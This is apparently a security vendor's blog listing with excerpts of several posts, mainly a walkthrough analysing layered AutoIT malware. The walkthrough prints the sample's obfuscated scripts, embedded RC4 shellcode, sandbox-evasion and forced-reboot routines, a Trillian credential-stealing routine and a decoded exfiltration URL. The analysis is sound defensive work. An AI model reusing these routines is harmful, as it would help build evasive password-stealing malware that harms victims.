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Journey to Securing Public and Hybrid Cloud Deployments

by Juniper Employee ‎11-29-2016 07:55 AM - edited ‎11-30-2016 08:47 AM

Screen Shot 2016-11-30 at 8.44.39 AM.png

 

Everyone agrees: IT infrastructure has, for the last several years, been migrating inexorably toward the cloud. When did that long journey start? How far have we come? And how much further do we have to go? Let’s take a look back at the history of the cloud.


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BlackNurse in review: Is your NGFW vulnerable?

by Juniper Employee ‎11-28-2016 12:15 PM - edited ‎12-02-2016 06:30 AM

On November 10th, 2016, Danish firm TDC published a report about the effects of a particular ICMP Type+Code combination that triggers resource exhaustion issues within many leading Firewall platforms. The TDC SOC has branded this low-volume attack BlackNurse, details of which can be seen here, and here

 

"This is the best article and test we have to date on the BlackNurse attack. The article provides some answers which are not covered anywhere else. The structure and documentation of the test is remarkable. It would be nice to see the test performed on other firewalls – good job Craig ” 

Lenny Hansson and Kenneth Bjerregaard Jørgensen, BlackNurse Discoverers

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Against the background of a thriving digital economy, it’s evident just how many of the technologies we rely on today are going to be a big part of our interconnected future. Yet, in just a few short years, much of what we now take for granted could change beyond recognition and in ways few of us might have predicted.

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splunk.png

Continuing on with our series, this particular post will revolve around "Security Information and Event Management" solutions (SIEM's), their place in the Enterprise, and how you can leverage their exceptional levels of visibility within SkyATP. 

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A Walk Through AutoIT Malware

by Juniper Employee ‎11-15-2016 02:08 PM - edited ‎11-15-2016 04:01 PM

In this post, we'll walk through the analysis of a piece of AutoIT malware. AutoIt is a scripting language and interpreter mainly used for Windows administration and task automation. Malware written in AutoIT is not particularly common, though there was a recent Locky clone built using the language. We'll step through three different layers to find the final malicious payload.

 

Layer 1  

This sample arrived as a WinRAR SFX self-extracting archive. Inside, we find an assortment of file types.

 

WinRAR.png

 

While the files in the archive are meant to look like images and documents, all of the files but dqu.exe are plain text files. The executable file is a copy of the AutoIT interpreter, which we can verify by searching for the file hash on VirusTotal:

 

virustotal.png

In the WinRAR screenshot above, we can see that after the archive is unpacked, there is a "setup" command:

 

Setup=dqu.exe tid.ivb

 

As dqu.exe is the AutoIT interpreter, it would appear that tid.ivb is the input script. But at first glance, tid.ivb appears to contain nothing but white space! This is another trick to thwart analysis, albeit one easy to bypass. The file contains mostly carriage returns (ASCII 0x0d) and line feeds (ASCII 0x0a), with the actual content hidden deep within:

 

hexeditor.png 

What we find is an obfuscated AutoIT script:

 

script1.png 

With a short Python script, we can rename the functions and variables for easier reading and remove some of the string obfuscations:

 

script2.png 

Stepping through this code, we see that script runs without a tray icon to be avoid revealing itself. It sleeps for 20 seconds to evade antivirus detection, then reads configuration data from a fake PDF file:

 

#NoTrayIcon
$var_0 = "kcj.pdf"
If ProcessExists("avastui.exe") Then Sleep(20000)
$var_1 = @ScriptDir & "\" & $var_0
$SeeeSx = IniRead($var_1, "Set", "Dir", '')
func_3($SeeeSx) 

 

The (renamed) function func_3 uses a directory name ('sqv') extracted from the PDF file and verifies that

  1. the script is running from the user's AppData\Roaming\sqv directory and
  2. that there is no window open titled 'sqv'.

(The latter check will fail if a malware analyst is running the script while the sqv subdirectory is open in Windows Explorer.) If either condition fails, the script terminates all running processes and forces a full system reboot:

 

Func func_3($SeeeSx)
	$var_15 = func_0(@ScriptFullPath)
	$var_16 = func_0(@AppDataDir & "\" & $SeeeSx & "\" & @ScriptName)
	If $var_15 = $var_16 Then
	Else
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
	If WinExists($SeeeSx) Then
		Shutdown(6)
		s643FE91()
		Exit
	EndIf
EndFunc   ;==>func_3
Func s643FE91()
	$_6BA7C9 = ProcessList()
	For $zzz = 1 To UBound($_6BA7C9) - 1
		ProcessClose($_6BA7C9[$zzz][0])
	Next
EndFunc 

 

Once we've make it past this stage, the script continues to read data from kcj.pdf:

 

$var_2 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sK", '')
$var_3 = IniRead(@ScriptDir & "\" & $var_0, "Set", "sN", '')
If $var_2 = '' Or $var_3 = '' Then Exit
$var_4 = FileRead(@ScriptDir & "\" & $var_0)
$var_5 = _StringBetween($var_4, "[sData]", "[esData]")
$var_4 = $var_5[0]
$var_6 = func_1()
$var_7 = BinaryToString(func_2($var_4, $var_2))

 

At this point, $var_4 holds a long hexadecimal string taken from kcj.pdf, and $var_6 is a randomly-generated 5-character string generated by func_1(). In its original form, this procedure was nearly incomprehensible:

 

Func _W0x089CBAA43012CBD103A024E8C36513B6($_W0x0CEF5DECD2B023AC56972966DC08E211, $_W0x0EC486D88DF3F0E6FC2EFE52598D236F)
	$x_F = "F"
	$x_FF = "" & "" & "" & "u" & "s" & "er" & "3" & "2" & ".d" & "ll"
	Local $_W0xDD65C71118C300A5F374F0B99FF82104 = "0" & "x" & "C" & "8" & "10" & "01006A0" & "06A" & "005" & "3565" & "78B5" & "510" & "31C" & "98" & "9C"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &= "84989D7" & $x_F & "2AE484829C88945" & $x_F & "085C00" & $x_F & "84DC00" & "0000B90001" & "000088C82C" & "0188840DE" & $x_F & "" & $x_F & "E" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "" & $x_F & "E2" & $x_F & "38365" & $x_F & "4008365" & $x_F & "C00817D" & $x_F & "C000100007D478B45" & $x_F & "C31D2" & $x_F & "775" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0920345100" & $x_F & "B600" & "8B4D" & $x_F & "C0" & $x_F & "B68C0D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "01C80345"
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "425" & $x_F & "" & $x_F & "0000008945" & $x_F & "48B75" & $x_F & "C8A8435" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "8B7D" & $x_F & "486843D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "888435" & $x_F & "0" & $x_F & "E" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "45" & $x_F & "CEBB08D9D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & ""
	$_W0xDD65C71118C300A5F374F0B99FF82104 &=$x_F & "31" & $x_F & "" & $x_F & "89" & $x_F & "A39550C766" & "38B85EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "4025" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="0000008985EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "89D80" & "385EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "0" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="B6000385E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "25" & $x_F & "" & $x_F & "000000" & "8985E8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "89DE03B5EC" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8A0689D" & $x_F & "03BDE8" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F
	$_W0xDD65C71118C300A5F374F0B99FF82104 &="" & $x_F & "860788" & "060" & $x_F & "B60E0" & $x_F & "B60701" & "C181E1" & $x_F & "" & $x_F & "0000008" & "A840D" & $x_F & "0" & $x_F & "E" & $x_F & "" & $x_F & "" & $x_F & "" & $x_F & "8B750801D6300642EB985" & $x_F & "5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($_W0xDD65C71118C300A5F374F0B99FF82104) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $_W0xDD65C71118C300A5F374F0B99FF82104)
	Local $_W0xD61B6A1A835288A336B7719A8B71B222 = DllStructCreate("byte[" & BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211) & "]")
	DllStructSetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1, $_W0x0CEF5DECD2B023AC56972966DC08E211)
	DllCall($x_FF, "non" & "e", "C" & "a" & "l" & "lW" & "in" & "do" & "w" & "P" & "r" & "o" & "c", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($_W0xD61B6A1A835288A336B7719A8B71B222), "int", BinaryLen($_W0x0CEF5DECD2B023AC56972966DC08E211), "str", $_W0x0EC486D88DF3F0E6FC2EFE52598D236F, "int", 0)
	Local $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 = DllStructGetData($_W0xD61B6A1A835288A336B7719A8B71B222, 1)
	$_W0xD61B6A1A835288A336B7719A8B71B222 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $_W0xAC62EE4A576C6EE1CC0FDE51FBED9124 

 

The deobfuscated code is easier to follow:

 

Func func_2($var_10, $var_11)
	Local $var_12 = "0xC81001006A006A005356578B551031C989C"
	$var_12 &= "84989D7F2AE484829C88945F085C00F84DC000000B90001000088C82C0188840DEFFEFF"
	$var_12 &="FFE2F38365F4008365FC00817DFC000100007D478B45FC31D2F775F"
	$var_12 &="0920345100FB6008B4DFC0FB68C0DF0FEFFFF01C80345"
	$var_12 &="F425FF0000008945F48B75FC8A8435F0FEFFF"
	$var_12 &="F8B7DF486843DF0FEFFFF888435F0FEF"
	$var_12 &="FFFFF45FCEBB08D9DF0FEFFF"
	$var_12 &="F31FF89FA39550C76638B85ECFEFFFF4025FF"
	$var_12 &="0000008985ECFEFFFF89D80385ECFEFFFF0F"
	$var_12 &="B6000385E8FEFFFF25FF0000008985E8FEFFF"
	$var_12 &="F89DE03B5ECFEFFFF8A0689DF03BDE8FEFFF"
	$var_12 &="F860788060FB60E0FB60701C181E1FF0000008A840DF0FEFFFF8B750801D6300642EB985F5E5BC9C21000"
	Local $_3E0FD7D3FE14D4AEFE9 = DllStructCreate("byte[" & BinaryLen($var_12) & "]")
	DllStructSetData($_3E0FD7D3FE14D4AEFE9, 1, $var_12)
	Local $var_13 = DllStructCreate("byte[" & BinaryLen($var_10) & "]")
	DllStructSetData($var_13, 1, $var_10)
	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0)
	Local $var_14 = DllStructGetData($var_13, 1)
	$var_13 = 0
	$_3E0FD7D3FE14D4AEFE9 = 0
	Return $var_14
EndFunc

 

The inputs to this function are the long hexadecimal string mentioned above ($var_10) and the string "897" ($var_11). These variables, along with the hexadecimal string stored in $var_12, are formatted and used in a Windows system call:

 

	DllCall("user32.dll", "none", "CallWindowProc", "ptr", DllStructGetPtr($_3E0FD7D3FE14D4AEFE9), "ptr", DllStructGetPtr($var_13), "int", BinaryLen($var_10), "str", $var_11, "int", 0) 

 

This use of CallWindowProc is a well-known trick for embedding shellcode in Windows scripts. The string $var_12 is represents binary executable code, which we can disassemble in IDA Pro:

 

disassem.png

 

This shellcode implements the RC4 stream cipher. It takes $var_11 as an input and transforms the long string $var_10. Here is the equivalent code in Python:

 

def dec(targetbuffer, inputstring):
    # Initialize key buffer, with LENGTH = 255 bytes.
    LENGTH = 0x100
    key_buffer = bytearray(LENGTH)
    for i in range(len(key_buffer)):
        key_buffer[i] = i

    # Now permute the key buffer based on inputstring.
    inputstring = bytearray(inputstring,'ascii')
    var_C = 0
    for var_4 in range(LENGTH):
        eax = inputstring[var_4 % len(inputstring)]
        ecx = key_buffer[var_4]
        var_C = (eax + ecx + var_C) % LENGTH
        al = key_buffer[var_4]
        key_buffer[var_4] = key_buffer[var_C]
        key_buffer[var_C] = al

    # Decrypt the targetbuffer in place. var_114 and var_118 are both indices
    # into the key_buffer bytearray.
    var_114 = 0
    var_118 = 0
    # iterate over targetbuffer
    for ii in range(len(targetbuffer)):
        # Manipulate the two index variables
        var_114 = (var_114+1) % LENGTH
        var_118 = (var_118 + key_buffer[var_114]) % LENGTH
        # Swap bytes in key_buffer
        al = key_buffer[var_114]
        key_buffer[var_114] = key_buffer[var_118]
        key_buffer[var_118] = al
        # Finally, take the values at each index, add them (mod 256), then
        # use the result as another index into the key_buffer.
        tmp_index = (key_buffer[var_114] + key_buffer[var_118]) % LENGTH
        # XOR the value at tmp_index against the targetbuffer.
        targetbuffer[ii] = targetbuffer[ii] ^ key_buffer[tmp_index]

    return targetbuffer

 

Using this script, we can extract the decrypted content and ... it's another AutoIT script!

 

script3.png 

The new script is written to disk, all of the files in the directory are set to 'hidden', and the script is executed.

 

$var_8 = StringReplace($var_7, "Settings File Name", $var_0)
Execute('FileSetAttrib("*.*", "+HR")')
FileWrite(@ScriptDir & "\" & $var_6, $var_8)
Run(@AutoItExe & " " & func_0(@ScriptDir & "\" & $var_6))

 

Layer 2

The second AutoIT script uses additional obfuscation techniques, but again some renaming and simplifying makes the code more readable.

 

script4.png 

The first thing to notice is that this script tries to read a number of configuration variables from the fake PDF. These values, if present, are used to modify the script's behavior. Most of these options aren't used in this instance, but a look at the code shows some of the functionality available, including sandbox evasion, binary execution, and the ability to paste content to the victim's Facebook account if the site is open in a browser:

 

Func func_6($var_41)
$var_42 = DllOpen("user32.dll")
Sleep(2)
If func_7("0D", $var_42) And WinActive("Facebook -") = True Then
ClipPut($var_41)
Send("^v{ENTER}")
Sleep(1)
ClipPut('')
$var_9 = @MIN + 1
If $var_9 > 60 Then
$var_9 = $var_9 - 60
EndIf
EndIf
DllClose($var_42)
EndFunc

 

In our case, the script reads another hexadecimal string from the PDF file, decrypts it with the same CallWindowProc/shellcode trick, writes the file to disk, then executes it. Instead of another AutoIT script, the payload this time is a standard Windows portable executable (PE) file.

 

vba_exe.png

 

Layer 3

Fortunately for us, this executable was written in Visual Basic 5 and compiled to p-code, and there are commercial tools to decompile this type of executable. Some of the functionality is obvious, such as this routine that pilfers account credentials from a popular instant messaging application:

 

Public Sub Proc_0_0_403FBC
  'Data Table: 401740
  loc_403EEC: var_88 = CStr(Environ("appdata") & "\Trillian\users\global\accounts.ini")
  loc_403F15: If (Dir(var_88, 0) = vbNullString) Then
  loc_403F18:   Exit Sub
  loc_403F19: End If
  loc_403F20: Open var_88 For Binary As 7 Len = &HFF
  loc_403F33: var_B8 = vbNullString
  loc_403F5C: Get 7, 0, CStr(String(LOF(7), var_B8))
  loc_403F60: Close 7
  loc_403F70: var_94 = Proc_0_1_403C28("Account000", "Account")
  loc_403F81: var_98 = Proc_0_1_403C28("Account000", "Password", var_88)
  loc_403FA8: Proc_0_18_40429C(var_B8, "Trillian", "www.trillian.im")
  loc_403FB9: Exit Sub
End Sub

 

In addition to an array of other password-stealing functions, there's also a routine called InjPE that runs a Windows executable (PE) file by injecting it into another process. But which binaries will be injected? We can start with the resource section of our executable.

 

Screen Shot 2016-11-15 at 1.46.59 PM.png 

The first component of the DVCLAL resource is an ASCII string. In the decompiled Visual Basic, we find that this string is extracted and each character is shifted up by 2:

 

Public Sub Proc_0_13_4037A8(arg_C) '4037A8
  'Data Table: 401740
  Dim var_B8 As String
  loc_403762: For var_8E = 1 To CInt(Len(arg_C)): var_8A = var_8E 'Integer
  loc_40378D:   var_B8 = Chr$(CLng((Asc(Mid$(arg_C, CLng(var_8A), 1)) + 2)))
  loc_403791:   var_88 = var_88 & var_B8
  loc_4037A1: Next var_8E 'Integer
  loc_4037A6: Exit Sub
End Sub

Public Sub Proc_0_14_4066F0
  'Data Table: 401740
  Dim var_E8 As String
  loc_406134: On Error Resume Next
  loc_40614E: Me.Global.LoadResData 1, "DVCLAL", var_D4
  [...]

 

We can decode the string with one line of Python:

 

>>> s = 'frrn8--bcdd_lmepmsn,am,gb-j_les_ec-glbcv,nfn'
>>> print ("".join(chr(ord(x)+2) for x in s))
http://deffanogroup.co.id/language/index.php

 

The result is a URL, probably used to exfiltrate the stolen data from the victim's computer. The other two components of the DVCLAL resource are Windows PE files -- WebBrowserPassView and MailPassView -- utilities that scour a computer for "lost" passwords. Neither one is malware, strictly speaking, but both are commonly used for malicious purposes.

 

Big Picture

We've reached the bottom of this rabbit hole and found that the final payload searches the target computer for passwords. Layer 1 was the AutoIT script delivered in a self-extracting executable. Layer 2 was an encrypted AutoIT script decrypted with the CallWindowProc/shellcode trick. Layer 3 was the executable written in Visual Basic, which itself contained two more executables used as utilities to throughly scour the victim's computer before exfiltrating the data to a URL we found hidden in the resource section. Given the configurability and unused portions of the AutoIT scripts, it appears the malware authors used some sort of toolkit to wrap and obfuscate their malware. This, combined with the use of separate data/configuration files, make it feasible to deliver unique executables with each victim.

While we’ve witnessed a fresh spate of high profile cyber-attacks this year, most have played out as conventional exploits, that is, incidents that however undesirable or damaging follow a well-trodden path.

 

Until recently.

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According to a 2014 report from the ICS-CERT, industrial control systems in the United States were threatened by cyber-attacks at least 245 times over a 12-month period by nation-state hackers, cybercriminals, cyber terrorists and hacktivists. The potential risk to critical infrastructure is real and it’s important that the public and private sector work collectively to protect these critical systems.

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Juniper Networks consistently strives to be a thought leader and challenger in the networking industry, which is why we’ve shifted our vision from “digital disruption” to “digital cohesion.” Disruption implies a disturbance or a problem to the norm, and being reactive to things already happening.

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Twenty-four hours. That’s all it took for an 18-year-old to exploit two day-zero bugs in iOS 10 and jailbreak an iPhone. As an iPhone user, I’ve always appreciated what Apple does for us – provides a reasonable (and to most imperceptible) decrease in file access between applications, which yields significant benefits in security. However, the recent iOS exploit illustrates that even the “safest” devices are not immune to the hacking culture we live in today. 

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Automating Cyber Threat Intelligence with SkyATP: Part One

by Juniper Employee ‎10-17-2016 09:55 AM - edited ‎11-23-2016 08:39 AM

Each year, the economics of "fighting back" against Hacktivism, CyberCrime, and the occasional State-Sponsored attack become more and more untenable for the typical Enterprise. It's nearly impossible for the average Security Team to stay up to date with the latest emerging threats while also being tasked with their regular duties. Given the current economic climate, the luxury of having a dedicated team to perform Cyber Threat Intelligence (CTI) is generally out of reach for all but the largest of Enterprises. While automated identification, curation, and enforcement of CTI cannot truly replace human Security Analysts (yet), it has been shown to go a long way towards increasing the effectiveness and agility of your Security infrastructure. 

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The idea of a lone hacker maliciously tapping away in a dark room is an antiquated one. The business of cybercrime is now a multibillion-dollar enterprise with highly organized entities looking to exploit vulnerabilities and scam businesses and consumers in our increasingly networked world. According to a Juniper commissioned report from the RAND Corporation:

 

The cyber black market has evolved from a varied landscape of discrete, ad hoc individuals into a network of highly organized groups, often connected with traditional crime groups (e.g., drug cartels, mafias, terrorist cells) and nation-states. It does not differ much from a traditional market or other typical criminal enterprises; participants communicate through various channels, place their orders, and get products.

 

Today, attackers are much more efficient in their efforts than ever before, driven by the ability to work with others in the criminal underground. Left unchecked, I worry that the ability to defend against these organizations will be more challenging.

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Traditional cybersecurity approaches involving perimeter-only protection are no longer enough to prevent data breaches and potential data exfiltration. Our cyber adversaries have grown in sophistication with very little training and inexpensive equipment. The standard attack anatomy is changing. Protection against state actors, lone wolf actors, and insider threats is becoming increasingly problematic. The evolution of threats has necessitated a change in the security mindset from high-trust (trust what’s inside) to zero-trust (trust nothing) posture. So, the traditional methods of high-trust security have created a type of architected fragility that is inflexible and unable to adapt quickly or at all to protect against the constant barrage of cyber threats.

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In his keynote speech during the RSA conference of 2011, the former director of the NSA, Gen. Keith B. Alexander made an interesting statement: “Securing our nation’s network is a team sport”. It is cleared now than ever, that no-one can fight the cyber war alone, and community efforts sharing cyber threat intelligence could benefit all participants, even in a competitive environment.

 

When referring to modern cyber threats, the attackers seem to have the upper hand. Regardless of their motivation, their engagement with the target has many asymmetric characteristics which work in their benefit, creating the need for new defense concepts deployed is a seemingly never ending arms race.

One of those new concepts is the sharing of real-time actionable cyber threat intelligence (CTI) - the exchange of dynamic feed of threat or attack related objects utilized for enforcement or analysis at the receiving end. Sharing CTI between different organizations, represents a collaborative effort to improve cyber defense posture by leveraging the capabilities, knowledge, and experience of the broader community. Such deployments may take different technological and structural forms, eventually reducing duplication of effort while enabling one organization’s detection to become another organization’s prevention.

 

In recent years, a growing number of sharing alliances have emerged, either between individuals using social networks, within the same vertical market, across different sectors in the same geography, between commercial and government bodies, and even among countries. In many cases these sharing initiatives represent a shift in the organization’s legacy IT paradigm, and create a complex, multifaceted challenge to technology, law, organizational culture, privacy and more[1]. These challenges are bigger when the parties are direct competitors or have other conflicts of interests, as demonstrated in my research-in-progress conducted at the Blavatnik Interdisciplinary Cyber Research Center (ICRC). The research analyzes threat intelligence sharing between cybersecurity vendors, with the goal to create visibility and understanding of the formed ecosystem within this industry. Since the shared information is closely related to the core business of the firms, it presents clearly the challenge of combining collaboration with competition named as coopetition.

 

Security vendors have already embraced CTI as a defense concept providing their customers with a viable solution, but the disaggregation of the solution elements described in  Figure 1, allows them to mutually use feeds from each other, or provide their threat intelligence using another vendor as a sales through channel. These three elements may belong to one or several vendors, and deployed as a single or multiple products either on customer premises or in the cloud. The source point of the information flow is a threat intelligence feed, and the destination is a policy enforcement or decision point. In between, an optional element called Threat Intelligence Platform (TIP) may act as an exchange point tying several sources and destinations together. Integration between all elements is based on either proprietary API’s or evolving standards such as STIX™, TAXII™, and CyBOX™.

 

Figure 1 – Disaggregated elements of threat intelligence sharingFigure 1 – Disaggregated elements of threat intelligence sharingThe key findings of the research suggest that cooperating with competitors is a winning strategy, showing correlation between market-related success indicators of a vendor, to its number of sharing relationships. Furthermore, the industry as a whole is a coopetition fit environment divided into social network communities, where successful companies attract new relationships more, following the ”rich-gets-richer” phenomenon. In addition, intelligence sharing can result in better security coverage, direct and indirect financial gains, and benefit to the greater good.

 

Given the possible advantages to companies, and the challenge of fighting the cyber war alone, many organizations are reconsidering their policy on sharing cyber related information with outside parties, literally demonstrating that crowd wisdom is applicable in the cybersecurity domain. For more on the topic from both academic and industry perspectives, join my presentation “101 to Threat intelligence Sharing”, at the (ISC)² Security Congress EMEA in Dublin 18-19 October 2016, or at the CSX 2016 Europe conference in London 31 October-2 November 2016.

 

[1] Zrahia, A. (2014). A multidisciplinary analysis of cyber information sharing. Military and Strategic Affairs, 6(3), 59-77. E-ISSN 2307-8634. The Institute for National Security Studies (INSS), Tel-Aviv University.

Far from a back room, IT-centric issue, cybersecurity is now front and center as organizations of all sizes work to define and execute strategies that mitigate risk and defend and combat against attacks. In order for companies to be as prepared as possible, a strong and effective cybersecurity strategy requires active board participation. Cybersecurity is no longer the sole responsibility of the Chief Information Officer or technical focused employees. Industry-leading companies understand this and are planning and executing accordingly.

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Back in the day, the first thing you did to protect your organization from cybercrime was get a network firewall. Then, maybe, you would get some anti-virus software for your endpoints. You looked at specific traffic from specific places outside your network and with brute-force access lists and policies you controlled users and traffic. You thought your business was secure. And it used to be.

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